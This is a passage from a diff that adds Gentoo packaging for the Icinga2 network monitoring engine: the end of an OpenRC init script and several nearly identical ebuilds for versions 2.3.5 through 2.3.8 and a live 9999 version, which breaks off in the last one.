+ICINGA2_DAEMON_ARGS="daemon -c $ICINGA2_CONFIG_FILE -e $ICINGA2_ERROR_LOG -d"
+
+depend() {
+ need net
+}
+
+checkconfig() {
+ if [ ! -e "$ICINGA2_CONFIG_FILE" ]; then
+ ewarn "Config file '$ICINGA2_CONFIG_FILE' does not exist."
+ eend 1
+ fi
+
+ ICINGA2_USER=$($DAEMON variable get --current RunAsUser)
+ if [ $? != 0 ]; then
+ eerror "Could not fetch RunAsUser variable: '$ICINGA2_USER'."
+ return 1
+ fi
+ ICINGA2_GROUP=$($DAEMON variable get --current RunAsGroup)
+ if [ $? != 0 ]; then
+ eerror "Could not fetch RunAsGroup variable: '$ICINGA2_GROUP'."
+ return 1
+ fi
+
+ checkpath -d -m 0750 -o $ICINGA2_USER:$ICINGA2_GROUP $ICINGA2_RUN_DIR
+ checkpath -d -m 0750 -o $ICINGA2_USER:$ICINGA2_GROUP $ICINGA2_STATE_DIR
+ checkpath -d -m 2750 -o $ICINGA2_USER:$ICINGA2_GROUP $ICINGA2_CMD_DIR
+
+ if ! $DAEMON daemon -c $ICINGA2_CONFIG_FILE -C > $ICINGA2_STARTUP_LOG 2>&1; then
+ eerror "Icinga2 detected configuration errors. Check '$ICINGA2_STARTUP_LOG' for details."
+ return 1
+ fi
+}
+
+start() {
+ checkconfig || return 1
+
+ ebegin "Starting icinga2"
+ start-stop-daemon --start --exec "${DAEMON}" \
+ --pidfile "${ICINGA2_PID_FILE}" \
+ -- $ICINGA2_DAEMON_ARGS > $ICINGA2_STARTUP_LOG 2>&1
+ local retval=$?
+ if [ $retval -ne 0 ]; then
+ ewarn "Error starting icinga2. '$ICINGA2_STARTUP_LOG' for details."
+ fi
+ eend $retval
+}
+
+stop() {
+ ebegin "Stopping icinga2"
+ start-stop-daemon \
+ --stop \
+ --pidfile $ICINGA2_PID_FILE \
+ --retry "SIGTERM/15 SIGKILL/30" \
+ --progress
+ eend $?
+}
+
+reload() {
+ checkconfig || return 1
+
+ ebegin "Reloading icinga2"
+ start-stop-daemon --signal HUP --pidfile "$ICINGA2_PID_FILE"
+
+ local retval=$?
+ if [ $retval -ne 0 ]; then
+ ewarn "Error reloading icinga2."
+ fi
+ eend $retval
+}
diff --git a/net-analyzer/icinga2/icinga2-2.3.5.ebuild b/net-analyzer/icinga2/icinga2-2.3.5.ebuild
new file mode 100644
index 000000000000..063f476a6c0f
--- /dev/null
+++ b/net-analyzer/icinga2/icinga2-2.3.5.ebuild
@@ -0,0 +1,158 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit cmake-utils depend.apache eutils systemd toolchain-funcs user versionator
+
+DESCRIPTION="Distributed, general purpose, network monitoring engine"
+HOMEPAGE="http://icinga.org/icinga2"
+SRC_URI="http://github.com/Icinga/icinga2/archive/v${PV}.tar.gz -> ${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE="+mysql postgres classicui minimal nano-syntax +plugins +vim-syntax"
+
+DEPEND="
+ dev-util/cmake
+ dev-libs/openssl:=
+ >=dev-libs/boost-1.41
+ sys-devel/bison
+ >=sys-devel/flex-2.5.35
+ mysql? ( virtual/mysql )
+ postgres? ( dev-db/postgresql:* )"
+
+RDEPEND="
+ ${DEPEND}
+ plugins? ( || (
+ net-analyzer/monitoring-plugins
+ net-analyzer/nagios-plugins
+ ) )
+ classicui? ( net-analyzer/icinga[web] )"
+
+REQUIRED_USE="!minimal? ( || ( mysql postgres ) )"
+
+want_apache2
+
+pkg_setup() {
+ enewgroup icinga
+ enewgroup icingacmd
+ enewgroup nagios # for plugins
+ enewuser icinga -1 -1 /var/lib/icinga2 "icinga,icingacmd,nagios"
+}
+
+src_prepare() {
+# epatch "${FILESDIR}/${P}-create_var_cache.patch"
+ epatch_user
+}
+
+src_configure() {
+ local mycmakeargs=(
+ -DICINGA2_UNITY_BUILD=FALSE
+ -DCMAKE_VERBOSE_MAKEFILE=ON
+ -DCMAKE_BUILD_TYPE=None
+ -DCMAKE_INSTALL_PREFIX=/usr
+ -DCMAKE_INSTALL_SYSCONFDIR=/etc
+ -DCMAKE_INSTALL_LOCALSTATEDIR=/var
+ -DICINGA2_SYSCONFIGFILE=/etc/conf.d/icinga2
+ -DICINGA2_USER=icinga
+ -DICINGA2_GROUP=icingacmd
+ -DICINGA2_COMMAND_USER=icinga
+ -DICINGA2_COMMAND_GROUP=icingacmd
+ -DINSTALL_SYSTEMD_SERVICE_AND_INITSCRIPT=yes
+ )
+ if use postgres; then
+ mycmakeargs+=(
+ -DICINGA2_WITH_PGSQL=ON
+ )
+ else
+ mycmakeargs+=(
+ -DICINGA2_WITH_PGSQL=OFF
+ )
+ fi
+ if use mysql; then
+ mycmakeargs+=(
+ -DICINGA2_WITH_MYSQL=ON
+ )
+ else
+ mycmakeargs+=(
+ -DICINGA2_WITH_MYSQL=OFF
+ )
+ fi
+ cmake-utils_src_configure
+}
+
+src_install() {
+ BUILDDIR="${WORKDIR}"/icinga2-${PV}_build
+ cd $BUILDDIR
+
+ #if [[ -f Makefile ]] || [[ -f GNUmakefile ]] || [[ -f makefile ]] ; then
+
+ emake DESTDIR="${D}" install
+ #fi
+
+ cd "${WORKDIR}"/icinga2-${PV}
+ if ! declare -p DOCS >/dev/null 2>&1 ; then
+ local d
+ for d in README* ChangeLog AUTHORS NEWS TODO CHANGES THANKS BUGS \
+ FAQ CREDITS CHANGELOG ; do
+ [[ -s "${d}" ]] && dodoc "${d}"
+ done
+ elif declare -p DOCS | grep -q "^declare -a " ; then
+ dodoc "${DOCS[@]}"
+ else
+ dodoc ${DOCS}
+ fi
+
+ newinitd "${FILESDIR}"/icinga2.initd icinga2
+ newconfd "${FILESDIR}"/icinga2.confd icinga2
+
+ if use mysql ; then
+ docinto schema
+ newdoc "${WORKDIR}"/icinga2-${PV}/lib/db_ido_mysql/schema/mysql.sql mysql.sql
+ docinto schema/upgrade
+ #newdoc "${WORKDIR}"/icinga2-${PV}/components/db_ido_mysql/schema/upgrade/0.0.11.sql mysql-upgrade-1.12.0.sql
+ elif use postgres ; then
+ docinto schema
+ newdoc "${WORKDIR}"/icinga2-${PV}/lib/db_ido_pgsql/schema/pgsql.sql pgsql.sql
+ docinto schema/upgrade
+ #newdoc "${WORKDIR}"/icinga2-${PV}/components/db_ido_pgsql/schema/upgrade/0.0.11.sql pgsql-upgrade-1.12.0.sql
+ fi
+
+ keepdir /etc/icinga2
+ keepdir /var/lib/icinga2/api/zones
+ keepdir /var/lib/icinga2/api/repository
+ keepdir /var/lib/icinga2/api/log
+ keepdir /var/spool/icinga2/perfdata
+
+ rm -r "${D}var/run" || die "failed to remove /var/run"
+ rm -r "${D}var/cache" || die "failed to remove /var/cache"
+
+ fowners icinga:icinga /etc/icinga2
+ fowners icinga:icinga /var/lib/icinga2
+ fowners icinga:icinga /var/spool/icinga2
+ fowners icinga:icinga /var/spool/icinga2/perfdata
+ fowners icinga:icingacmd /var/log/icinga2
+
+ fperms ug+rwX,o-rwx /etc/icinga2
+ fperms ug+rwX,o-rwx /var/lib/icinga2
+ fperms ug+rwX,o-rwx /var/spool/icinga2
+ fperms ug+rwX,o-rwx /var/log/icinga2
+
+ if use vim-syntax; then
+ insinto /usr/share/vim/vimfiles
+ doins -r tools/syntax/vim/ftdetect
+ doins -r tools/syntax/vim/syntax
+ fi
+
+ if use nano-syntax; then
+ insinto /usr/share/nano
+ doins tools/syntax/nano/icinga2.nanorc
+ fi
+}
+
+pkg_postinst() {
+ elog "DB IDO schema upgrade required. http://docs.icinga.org/icinga2/snapshot/chapter-2.html#upgrading-the-mysql-database"
+ elog "You will need to update your configuration files, see https://dev.icinga.org/issues/5909"
+}
diff --git a/net-analyzer/icinga2/icinga2-2.3.6.ebuild b/net-analyzer/icinga2/icinga2-2.3.6.ebuild
new file mode 100644
index 000000000000..b5022fcbfbd5
--- /dev/null
+++ b/net-analyzer/icinga2/icinga2-2.3.6.ebuild
@@ -0,0 +1,157 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit cmake-utils depend.apache eutils systemd toolchain-funcs user versionator
+
+DESCRIPTION="Distributed, general purpose, network monitoring engine"
+HOMEPAGE="http://icinga.org/icinga2"
+SRC_URI="http://github.com/Icinga/icinga2/archive/v${PV}.tar.gz -> ${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="+mysql postgres classicui minimal nano-syntax +plugins +vim-syntax"
+
+DEPEND="
+ dev-libs/openssl:=
+ >=dev-libs/boost-1.41
+ sys-devel/bison
+ >=sys-devel/flex-2.5.35
+ mysql? ( virtual/mysql )
+ postgres? ( dev-db/postgresql:= )"
+
+RDEPEND="
+ ${DEPEND}
+ plugins? ( || (
+ net-analyzer/monitoring-plugins
+ net-analyzer/nagios-plugins
+ ) )
+ classicui? ( net-analyzer/icinga[web] )"
+
+REQUIRED_USE="!minimal? ( || ( mysql postgres ) )"
+
+want_apache2
+
+pkg_setup() {
+ enewgroup icinga
+ enewgroup icingacmd
+ enewgroup nagios # for plugins
+ enewuser icinga -1 -1 /var/lib/icinga2 "icinga,icingacmd,nagios"
+}
+
+src_prepare() {
+# epatch "${FILESDIR}/${P}-create_var_cache.patch"
+ epatch_user
+}
+
+src_configure() {
+ local mycmakeargs=(
+ -DICINGA2_UNITY_BUILD=FALSE
+ -DCMAKE_VERBOSE_MAKEFILE=ON
+ -DCMAKE_BUILD_TYPE=None
+ -DCMAKE_INSTALL_PREFIX=/usr
+ -DCMAKE_INSTALL_SYSCONFDIR=/etc
+ -DCMAKE_INSTALL_LOCALSTATEDIR=/var
+ -DICINGA2_SYSCONFIGFILE=/etc/conf.d/icinga2
+ -DICINGA2_USER=icinga
+ -DICINGA2_GROUP=icingacmd
+ -DICINGA2_COMMAND_USER=icinga
+ -DICINGA2_COMMAND_GROUP=icingacmd
+ -DINSTALL_SYSTEMD_SERVICE_AND_INITSCRIPT=yes
+ )
+ if use postgres; then
+ mycmakeargs+=(
+ -DICINGA2_WITH_PGSQL=ON
+ )
+ else
+ mycmakeargs+=(
+ -DICINGA2_WITH_PGSQL=OFF
+ )
+ fi
+ if use mysql; then
+ mycmakeargs+=(
+ -DICINGA2_WITH_MYSQL=ON
+ )
+ else
+ mycmakeargs+=(
+ -DICINGA2_WITH_MYSQL=OFF
+ )
+ fi
+ cmake-utils_src_configure
+}
+
+src_install() {
+ BUILDDIR="${WORKDIR}"/icinga2-${PV}_build
+ cd $BUILDDIR
+
+ #if [[ -f Makefile ]] || [[ -f GNUmakefile ]] || [[ -f makefile ]] ; then
+
+ emake DESTDIR="${D}" install
+ #fi
+
+ cd "${WORKDIR}"/icinga2-${PV}
+ if ! declare -p DOCS >/dev/null 2>&1 ; then
+ local d
+ for d in README* ChangeLog AUTHORS NEWS TODO CHANGES THANKS BUGS \
+ FAQ CREDITS CHANGELOG ; do
+ [[ -s "${d}" ]] && dodoc "${d}"
+ done
+ elif declare -p DOCS | grep -q "^declare -a " ; then
+ dodoc "${DOCS[@]}"
+ else
+ dodoc ${DOCS}
+ fi
+
+ newinitd "${FILESDIR}"/icinga2.initd icinga2
+ newconfd "${FILESDIR}"/icinga2.confd icinga2
+
+ if use mysql ; then
+ docinto schema
+ newdoc "${WORKDIR}"/icinga2-${PV}/lib/db_ido_mysql/schema/mysql.sql mysql.sql
+ docinto schema/upgrade
+ #newdoc "${WORKDIR}"/icinga2-${PV}/components/db_ido_mysql/schema/upgrade/0.0.11.sql mysql-upgrade-1.12.0.sql
+ elif use postgres ; then
+ docinto schema
+ newdoc "${WORKDIR}"/icinga2-${PV}/lib/db_ido_pgsql/schema/pgsql.sql pgsql.sql
+ docinto schema/upgrade
+ #newdoc "${WORKDIR}"/icinga2-${PV}/components/db_ido_pgsql/schema/upgrade/0.0.11.sql pgsql-upgrade-1.12.0.sql
+ fi
+
+ keepdir /etc/icinga2
+ keepdir /var/lib/icinga2/api/zones
+ keepdir /var/lib/icinga2/api/repository
+ keepdir /var/lib/icinga2/api/log
+ keepdir /var/spool/icinga2/perfdata
+
+ rm -r "${D}var/run" || die "failed to remove /var/run"
+ rm -r "${D}var/cache" || die "failed to remove /var/cache"
+
+ fowners icinga:icinga /etc/icinga2
+ fowners icinga:icinga /var/lib/icinga2
+ fowners icinga:icinga /var/spool/icinga2
+ fowners icinga:icinga /var/spool/icinga2/perfdata
+ fowners icinga:icingacmd /var/log/icinga2
+
+ fperms ug+rwX,o-rwx /etc/icinga2
+ fperms ug+rwX,o-rwx /var/lib/icinga2
+ fperms ug+rwX,o-rwx /var/spool/icinga2
+ fperms ug+rwX,o-rwx /var/log/icinga2
+
+ if use vim-syntax; then
+ insinto /usr/share/vim/vimfiles
+ doins -r tools/syntax/vim/ftdetect
+ doins -r tools/syntax/vim/syntax
+ fi
+
+ if use nano-syntax; then
+ insinto /usr/share/nano
+ doins tools/syntax/nano/icinga2.nanorc
+ fi
+}
+
+pkg_postinst() {
+ elog "DB IDO schema upgrade required. http://docs.icinga.org/icinga2/snapshot/chapter-2.html#upgrading-the-mysql-database"
+ elog "You will need to update your configuration files, see https://dev.icinga.org/issues/5909"
+}
diff --git a/net-analyzer/icinga2/icinga2-2.3.7.ebuild b/net-analyzer/icinga2/icinga2-2.3.7.ebuild
new file mode 100644
index 000000000000..b5022fcbfbd5
--- /dev/null
+++ b/net-analyzer/icinga2/icinga2-2.3.7.ebuild
@@ -0,0 +1,157 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit cmake-utils depend.apache eutils systemd toolchain-funcs user versionator
+
+DESCRIPTION="Distributed, general purpose, network monitoring engine"
+HOMEPAGE="http://icinga.org/icinga2"
+SRC_URI="http://github.com/Icinga/icinga2/archive/v${PV}.tar.gz -> ${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="+mysql postgres classicui minimal nano-syntax +plugins +vim-syntax"
+
+DEPEND="
+ dev-libs/openssl:=
+ >=dev-libs/boost-1.41
+ sys-devel/bison
+ >=sys-devel/flex-2.5.35
+ mysql? ( virtual/mysql )
+ postgres? ( dev-db/postgresql:= )"
+
+RDEPEND="
+ ${DEPEND}
+ plugins? ( || (
+ net-analyzer/monitoring-plugins
+ net-analyzer/nagios-plugins
+ ) )
+ classicui? ( net-analyzer/icinga[web] )"
+
+REQUIRED_USE="!minimal? ( || ( mysql postgres ) )"
+
+want_apache2
+
+pkg_setup() {
+ enewgroup icinga
+ enewgroup icingacmd
+ enewgroup nagios # for plugins
+ enewuser icinga -1 -1 /var/lib/icinga2 "icinga,icingacmd,nagios"
+}
+
+src_prepare() {
+# epatch "${FILESDIR}/${P}-create_var_cache.patch"
+ epatch_user
+}
+
+src_configure() {
+ local mycmakeargs=(
+ -DICINGA2_UNITY_BUILD=FALSE
+ -DCMAKE_VERBOSE_MAKEFILE=ON
+ -DCMAKE_BUILD_TYPE=None
+ -DCMAKE_INSTALL_PREFIX=/usr
+ -DCMAKE_INSTALL_SYSCONFDIR=/etc
+ -DCMAKE_INSTALL_LOCALSTATEDIR=/var
+ -DICINGA2_SYSCONFIGFILE=/etc/conf.d/icinga2
+ -DICINGA2_USER=icinga
+ -DICINGA2_GROUP=icingacmd
+ -DICINGA2_COMMAND_USER=icinga
+ -DICINGA2_COMMAND_GROUP=icingacmd
+ -DINSTALL_SYSTEMD_SERVICE_AND_INITSCRIPT=yes
+ )
+ if use postgres; then
+ mycmakeargs+=(
+ -DICINGA2_WITH_PGSQL=ON
+ )
+ else
+ mycmakeargs+=(
+ -DICINGA2_WITH_PGSQL=OFF
+ )
+ fi
+ if use mysql; then
+ mycmakeargs+=(
+ -DICINGA2_WITH_MYSQL=ON
+ )
+ else
+ mycmakeargs+=(
+ -DICINGA2_WITH_MYSQL=OFF
+ )
+ fi
+ cmake-utils_src_configure
+}
+
+src_install() {
+ BUILDDIR="${WORKDIR}"/icinga2-${PV}_build
+ cd $BUILDDIR
+
+ #if [[ -f Makefile ]] || [[ -f GNUmakefile ]] || [[ -f makefile ]] ; then
+
+ emake DESTDIR="${D}" install
+ #fi
+
+ cd "${WORKDIR}"/icinga2-${PV}
+ if ! declare -p DOCS >/dev/null 2>&1 ; then
+ local d
+ for d in README* ChangeLog AUTHORS NEWS TODO CHANGES THANKS BUGS \
+ FAQ CREDITS CHANGELOG ; do
+ [[ -s "${d}" ]] && dodoc "${d}"
+ done
+ elif declare -p DOCS | grep -q "^declare -a " ; then
+ dodoc "${DOCS[@]}"
+ else
+ dodoc ${DOCS}
+ fi
+
+ newinitd "${FILESDIR}"/icinga2.initd icinga2
+ newconfd "${FILESDIR}"/icinga2.confd icinga2
+
+ if use mysql ; then
+ docinto schema
+ newdoc "${WORKDIR}"/icinga2-${PV}/lib/db_ido_mysql/schema/mysql.sql mysql.sql
+ docinto schema/upgrade
+ #newdoc "${WORKDIR}"/icinga2-${PV}/components/db_ido_mysql/schema/upgrade/0.0.11.sql mysql-upgrade-1.12.0.sql
+ elif use postgres ; then
+ docinto schema
+ newdoc "${WORKDIR}"/icinga2-${PV}/lib/db_ido_pgsql/schema/pgsql.sql pgsql.sql
+ docinto schema/upgrade
+ #newdoc "${WORKDIR}"/icinga2-${PV}/components/db_ido_pgsql/schema/upgrade/0.0.11.sql pgsql-upgrade-1.12.0.sql
+ fi
+
+ keepdir /etc/icinga2
+ keepdir /var/lib/icinga2/api/zones
+ keepdir /var/lib/icinga2/api/repository
+ keepdir /var/lib/icinga2/api/log
+ keepdir /var/spool/icinga2/perfdata
+
+ rm -r "${D}var/run" || die "failed to remove /var/run"
+ rm -r "${D}var/cache" || die "failed to remove /var/cache"
+
+ fowners icinga:icinga /etc/icinga2
+ fowners icinga:icinga /var/lib/icinga2
+ fowners icinga:icinga /var/spool/icinga2
+ fowners icinga:icinga /var/spool/icinga2/perfdata
+ fowners icinga:icingacmd /var/log/icinga2
+
+ fperms ug+rwX,o-rwx /etc/icinga2
+ fperms ug+rwX,o-rwx /var/lib/icinga2
+ fperms ug+rwX,o-rwx /var/spool/icinga2
+ fperms ug+rwX,o-rwx /var/log/icinga2
+
+ if use vim-syntax; then
+ insinto /usr/share/vim/vimfiles
+ doins -r tools/syntax/vim/ftdetect
+ doins -r tools/syntax/vim/syntax
+ fi
+
+ if use nano-syntax; then
+ insinto /usr/share/nano
+ doins tools/syntax/nano/icinga2.nanorc
+ fi
+}
+
+pkg_postinst() {
+ elog "DB IDO schema upgrade required. http://docs.icinga.org/icinga2/snapshot/chapter-2.html#upgrading-the-mysql-database"
+ elog "You will need to update your configuration files, see https://dev.icinga.org/issues/5909"
+}
diff --git a/net-analyzer/icinga2/icinga2-2.3.8.ebuild b/net-analyzer/icinga2/icinga2-2.3.8.ebuild
new file mode 100644
index 000000000000..b5022fcbfbd5
--- /dev/null
+++ b/net-analyzer/icinga2/icinga2-2.3.8.ebuild
@@ -0,0 +1,157 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit cmake-utils depend.apache eutils systemd toolchain-funcs user versionator
+
+DESCRIPTION="Distributed, general purpose, network monitoring engine"
+HOMEPAGE="http://icinga.org/icinga2"
+SRC_URI="http://github.com/Icinga/icinga2/archive/v${PV}.tar.gz -> ${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="+mysql postgres classicui minimal nano-syntax +plugins +vim-syntax"
+
+DEPEND="
+ dev-libs/openssl:=
+ >=dev-libs/boost-1.41
+ sys-devel/bison
+ >=sys-devel/flex-2.5.35
+ mysql? ( virtual/mysql )
+ postgres? ( dev-db/postgresql:= )"
+
+RDEPEND="
+ ${DEPEND}
+ plugins? ( || (
+ net-analyzer/monitoring-plugins
+ net-analyzer/nagios-plugins
+ ) )
+ classicui? ( net-analyzer/icinga[web] )"
+
+REQUIRED_USE="!minimal? ( || ( mysql postgres ) )"
+
+want_apache2
+
+pkg_setup() {
+ enewgroup icinga
+ enewgroup icingacmd
+ enewgroup nagios # for plugins
+ enewuser icinga -1 -1 /var/lib/icinga2 "icinga,icingacmd,nagios"
+}
+
+src_prepare() {
+# epatch "${FILESDIR}/${P}-create_var_cache.patch"
+ epatch_user
+}
+
+src_configure() {
+ local mycmakeargs=(
+ -DICINGA2_UNITY_BUILD=FALSE
+ -DCMAKE_VERBOSE_MAKEFILE=ON
+ -DCMAKE_BUILD_TYPE=None
+ -DCMAKE_INSTALL_PREFIX=/usr
+ -DCMAKE_INSTALL_SYSCONFDIR=/etc
+ -DCMAKE_INSTALL_LOCALSTATEDIR=/var
+ -DICINGA2_SYSCONFIGFILE=/etc/conf.d/icinga2
+ -DICINGA2_USER=icinga
+ -DICINGA2_GROUP=icingacmd
+ -DICINGA2_COMMAND_USER=icinga
+ -DICINGA2_COMMAND_GROUP=icingacmd
+ -DINSTALL_SYSTEMD_SERVICE_AND_INITSCRIPT=yes
+ )
+ if use postgres; then
+ mycmakeargs+=(
+ -DICINGA2_WITH_PGSQL=ON
+ )
+ else
+ mycmakeargs+=(
+ -DICINGA2_WITH_PGSQL=OFF
+ )
+ fi
+ if use mysql; then
+ mycmakeargs+=(
+ -DICINGA2_WITH_MYSQL=ON
+ )
+ else
+ mycmakeargs+=(
+ -DICINGA2_WITH_MYSQL=OFF
+ )
+ fi
+ cmake-utils_src_configure
+}
+
+src_install() {
+ BUILDDIR="${WORKDIR}"/icinga2-${PV}_build
+ cd $BUILDDIR
+
+ #if [[ -f Makefile ]] || [[ -f GNUmakefile ]] || [[ -f makefile ]] ; then
+
+ emake DESTDIR="${D}" install
+ #fi
+
+ cd "${WORKDIR}"/icinga2-${PV}
+ if ! declare -p DOCS >/dev/null 2>&1 ; then
+ local d
+ for d in README* ChangeLog AUTHORS NEWS TODO CHANGES THANKS BUGS \
+ FAQ CREDITS CHANGELOG ; do
+ [[ -s "${d}" ]] && dodoc "${d}"
+ done
+ elif declare -p DOCS | grep -q "^declare -a " ; then
+ dodoc "${DOCS[@]}"
+ else
+ dodoc ${DOCS}
+ fi
+
+ newinitd "${FILESDIR}"/icinga2.initd icinga2
+ newconfd "${FILESDIR}"/icinga2.confd icinga2
+
+ if use mysql ; then
+ docinto schema
+ newdoc "${WORKDIR}"/icinga2-${PV}/lib/db_ido_mysql/schema/mysql.sql mysql.sql
+ docinto schema/upgrade
+ #newdoc "${WORKDIR}"/icinga2-${PV}/components/db_ido_mysql/schema/upgrade/0.0.11.sql mysql-upgrade-1.12.0.sql
+ elif use postgres ; then
+ docinto schema
+ newdoc "${WORKDIR}"/icinga2-${PV}/lib/db_ido_pgsql/schema/pgsql.sql pgsql.sql
+ docinto schema/upgrade
+ #newdoc "${WORKDIR}"/icinga2-${PV}/components/db_ido_pgsql/schema/upgrade/0.0.11.sql pgsql-upgrade-1.12.0.sql
+ fi
+
+ keepdir /etc/icinga2
+ keepdir /var/lib/icinga2/api/zones
+ keepdir /var/lib/icinga2/api/repository
+ keepdir /var/lib/icinga2/api/log
+ keepdir /var/spool/icinga2/perfdata
+
+ rm -r "${D}var/run" || die "failed to remove /var/run"
+ rm -r "${D}var/cache" || die "failed to remove /var/cache"
+
+ fowners icinga:icinga /etc/icinga2
+ fowners icinga:icinga /var/lib/icinga2
+ fowners icinga:icinga /var/spool/icinga2
+ fowners icinga:icinga /var/spool/icinga2/perfdata
+ fowners icinga:icingacmd /var/log/icinga2
+
+ fperms ug+rwX,o-rwx /etc/icinga2
+ fperms ug+rwX,o-rwx /var/lib/icinga2
+ fperms ug+rwX,o-rwx /var/spool/icinga2
+ fperms ug+rwX,o-rwx /var/log/icinga2
+
+ if use vim-syntax; then
+ insinto /usr/share/vim/vimfiles
+ doins -r tools/syntax/vim/ftdetect
+ doins -r tools/syntax/vim/syntax
+ fi
+
+ if use nano-syntax; then
+ insinto /usr/share/nano
+ doins tools/syntax/nano/icinga2.nanorc
+ fi
+}
+
+pkg_postinst() {
+ elog "DB IDO schema upgrade required. http://docs.icinga.org/icinga2/snapshot/chapter-2.html#upgrading-the-mysql-database"
+ elog "You will need to update your configuration files, see https://dev.icinga.org/issues/5909"
+}
diff --git a/net-analyzer/icinga2/icinga2-9999.ebuild b/net-analyzer/icinga2/icinga2-9999.ebuild
new file mode 100644
index 000000000000..67a6d4cc8a81
--- /dev/null
+++ b/net-analyzer/icinga2/icinga2-9999.ebuild
@@ -0,0 +1,158 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit cmake-utils depend.apache eutils git-2 systemd toolchain-funcs user versionator
+
+DESCRIPTION="Distributed, general purpose, network monitoring engine"
+HOMEPAGE="http://icinga.org/icinga2"
+EGIT_REPO_URI="http://github.com/Icinga/icinga2.git"
+EGIT_BRANCH="master"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS=""
+IUSE="+mysql postgres classicui minimal nano-syntax +plugins +vim-syntax"
+
+DEPEND="
+ dev-libs/openssl:=
+ >=dev-libs/boost-1.41
+ sys-devel/bison
+ >=sys-devel/flex-2.5.35
+ mysql? ( virtual/mysql )
+ postgres? ( dev-db/postgresql:= )"
+
+RDEPEND="
+ ${DEPEND}
+ plugins? ( || (
+ net-analyzer/monitoring-plugins
+ net-analyzer/nagios-plugins
+ ) )
+ classicui? ( net-analyzer/icinga[web] )"
+
+REQUIRED_USE="!minimal? ( || ( mysql postgres ) )"
+
+want_apache2
+
+pkg_setup() {
+ enewgroup icinga
+ enewgroup icingacmd
+ enewgroup nagios # for plugins
+ enewuser icinga -1 -1 /var/lib/icinga2 "icinga,icingacmd,nagios"
+}
+
+src_prepare() {
+# epatch "${FILESDIR}/${P}-create_var_cache.patch"
+ epatch_user
+}
+
+src_configure() {
+ local mycmakeargs=(
+ -DICINGA2_UNITY_BUILD=FALSE
+ -DCMAKE_VERBOSE_MAKEFILE=ON
+ -DCMAKE_BUILD_TYPE=None
+ -DCMAKE_INSTALL_PREFIX=/usr
+ -DCMAKE_INSTALL_SYSCONFDIR=/etc
+ -DCMAKE_INSTALL_LOCALSTATEDIR=/var
+ -DICINGA2_SYSCONFIGFILE=/etc/conf.d/icinga2
+ -DICINGA2_USER=icinga
+ -DICINGA2_GROUP=icingacmd
+ -DICINGA2_COMMAND_USER=icinga
+ -DICINGA2_COMMAND_GROUP=icingacmd
+ -DINSTALL_SYSTEMD_SERVICE_AND_INITSCRIPT=yes
+ )
+ if use postgres; then
+ mycmakeargs+=(
+ -DICINGA2_WITH_PGSQL=ON
+ )
+ else
+ mycmakeargs+=(
+ -DICINGA2_WITH_PGSQL=OFF
+ )
+ fi
+ if use mysql; then
+ mycmakeargs+=(
+ -DICINGA2_WITH_MYSQL=ON
+ )
+ else
+ mycmakeargs+=(
+ -DICINGA2_WITH_MYSQL=OFF
+ )
+ fi
+ cmake-utils_src_configure
+}
+
+src_install() {
+ BUILDDIR="${WORKDIR}"/icinga2-${PV}_build
+ cd $BUILDDIR
+
+ #if [[ -f Makefile ]] || [[ -f GNUmakefile ]] || [[ -f makefile ]] ; then
+
+ emake DESTDIR="${D}" install
+ #fi
+
+ cd "${WORKDIR}"/icinga2-${PV}
+ if ! declare -p DOCS >/dev/null 2>&1 ; then
+ local d
+ for d in README* ChangeLog AUTHORS NEWS TODO CHANGES THANKS BUGS \
+ FAQ CREDITS CHANGELOG ; do
+ [[ -s "${d}" ]] && dodoc "${d}"
+ done
+ elif declare -p DOCS | grep -q "^declare -a " ; then
+ dodoc "${DOCS[@]}"
+ else
+ dodoc ${DOCS}
+ fi
+
+ newinitd "${FILESDIR}"/icinga2.initd icinga2
+ newconfd "${FILESDIR}"/icinga2.confd icinga2
+
+ if use mysql ; then
+ docinto schema
+ newdoc "${WORKDIR}"/icinga2-${PV}/lib/db_ido_mysql/schema/mysql.sql mysql.sql
+ docinto schema/upgrade
+ #newdoc "${WORKDIR}"/icinga2-${PV}/components/db_ido_mysql/schema/upgrade/0.0.11.sql mysql-upgrade-1.12.0.sql
+ elif use postgres ; then
+ docinto schema
+ newdoc "${WORKDIR}"/icinga2-${PV}/lib/db_ido_pgsql/schema/pgsql.sql pgsql.sql
+ docinto schema/upgrade
+ #newdoc "${WORKDIR}"/icinga2-${PV}/components/db_ido_pgsql/schema/upgrade/0.0.11.sql pgsql-upgrade-1.12.0.sql
+ fi
+
+ keepdir /etc/icinga2
+ keepdir /var/lib/icinga2/api/zones
+ keepdir /var/lib/icinga2/api/repository
+ keepdir /var/lib/icinga2/api/log
+ keepdir /var/spool/icinga2/perfdata
+
+ rm -r "${D}var/run" || die "failed to remove /var/run"
+ rm -r "${D}var/cache" || die "failed to remove /var/cache"
+
+ fowners icinga:icinga /etc/icinga2
+ fowners icinga:icinga /var/lib/icinga2
+ fowners icinga:icinga /var/spool/icinga2
+ fowners icinga:icinga /var/spool/icinga2/perfdata
+ fowners icinga:icingacmd /var/log/icinga2
+
+ fperms ug+rwX,o-rwx /etc/icinga2
+ fperms ug+rwX,o-rwx /var/lib/icinga2
+ fperms ug+rwX,o-rwx /var/spool/icinga2
+ fperms ug+rwX,o-rwx /var/log/icinga2
+
+ if use vim-syntax; then
+ insinto /usr/share/vim/vimfiles
+ doins -r tools/syntax/vim/ftdetect
+ doins -r tools/syntax/vim/syntax
+ fi
+
+ if use nano-syntax; then
+ insinto /usr/share/nano
+ doins tools/syntax/nano/icinga2.nanorc
+ fi
+}
+
+pkg_postinst() {
